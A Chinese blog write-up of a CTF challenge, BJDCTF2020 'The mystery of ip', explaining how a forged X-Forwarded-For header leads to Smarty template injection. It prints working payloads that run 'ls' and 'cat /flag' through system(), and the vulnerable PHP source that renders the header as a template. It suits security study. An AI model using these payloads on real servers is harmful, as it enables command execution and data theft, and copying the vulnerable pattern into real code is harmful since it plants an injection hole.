[BUUOJ记录] [BJDCTF2020]The mystery of ip
2024-09-07 09:30:34
本题考察XFF头的ssti模板注入,没有过滤,算是入门题
进入题目hint.php的源码中可以看到一个hint
猜测是通过XFF头来获取信息的,发个HTTP请求添加一个XFF头测试一下:
GET /flag.php HTTP/1.1
Host: node3.buuoj.cn:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/ Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh,zh-CN;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: test
可以看到此时显示的IP已经变了,猜测存在ssti,构造一个表达式Payload测试一下:
X-Forwarded-For: {{system('ls')}}
可以看到服务器执行了我们的命令,直接cat /flag即可获得Flag:
X-Forwarded-For: {{system('cat /flag')}}
做出题之后再来分析一下这道题的源码,看一下flag.php的源码:
<?php
require_once('header.php');
require_once('./libs/Smarty.class.php');
$smarty = new Smarty();
if (!empty($_SERVER['HTTP_CLIENT_IP']))
{
$ip=$_SERVER['HTTP_CLIENT_IP'];
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}
else
{
$ip=$_SERVER['REMOTE_ADDR'];
}
//$your_ip = $smarty->display("string:".$ip);
echo "<div class=\"container panel1\">
<div class=\"row\">
<div class=\"col-md-4\">
</div>
<div class=\"col-md-4\">
<div class=\"jumbotron pan\">
<div class=\"form-group log\">
<label><h2>Your IP is : ";
$smarty->display("string:".$ip);
echo " </h2></label>
</div>
</div>
</div>
<div class=\"col-md-4\">
</div>
</div>
</div>";
?>
形成ssti的代码在这里:
$smarty->display("string:".$ip)
采用了Smarty模板引擎,导致了ssti,关于Smarty模板ssti可以参考这篇文章:https://www.jianshu.com/p/eb8d0137a7d3
最新文章
- zend studio 快捷键
- QQ空间HD(6)-实现自定义的选项卡切换效果
- jQuery如何退出each循环的?
- 流媒体测试笔记记录之————阿里云监控、OBS、FFmpeg拉流和推流变化比较记录
- Maven 和 Ant 的区别?
- Spring Boot 入门
- C++标准库和标准模板库
- 内存四个领域,变量声明和定义,注册,c内联汇编,auto,堆,不变,静态变量
- java.lang.NullPointerException: No FileItemFactory has been set.
- java并发之DelayQueue实际运用示例
- vue 项目搭建步骤
- nvidia-smi实时刷新并高亮显示状态
- VC.窗口最前(置顶)
- nw + iframe嵌入page 滚动条问题
- mongodb 安装教学
- hbase权威指南阅读随手笔记二之过滤器
- 2017 ACM暑期多校联合训练 - Team 5 1008 HDU 6092 Rikka with Subset (找规律)
- Django Model获取指定列的数据
- Spring的引用内部Bean属性和给级联属性
- JVM的内存结构
热门文章
- c++中包含string成员的结构体拷贝导致的double free问题
- Focal Loss 损失函数简述
- kubeadm部署1.17.3[基于Ubuntu18.04]
- 在 .NetCore 项目中使用 SkyWalkingAPM 踩坑排坑日记
- C#LeetCode刷题之#83-删除排序链表中的重复元素(Remove Duplicates from Sorted List)
- 获取客户端用户真实ip方法整理(jekyll迁移)
- LeetCode 90 | 经典递归问题,求出所有不重复的子集II
- 计算机网络要点---Http
- powerMock和mockito使用
- Salesforce学习笔记之Actions and Recommendations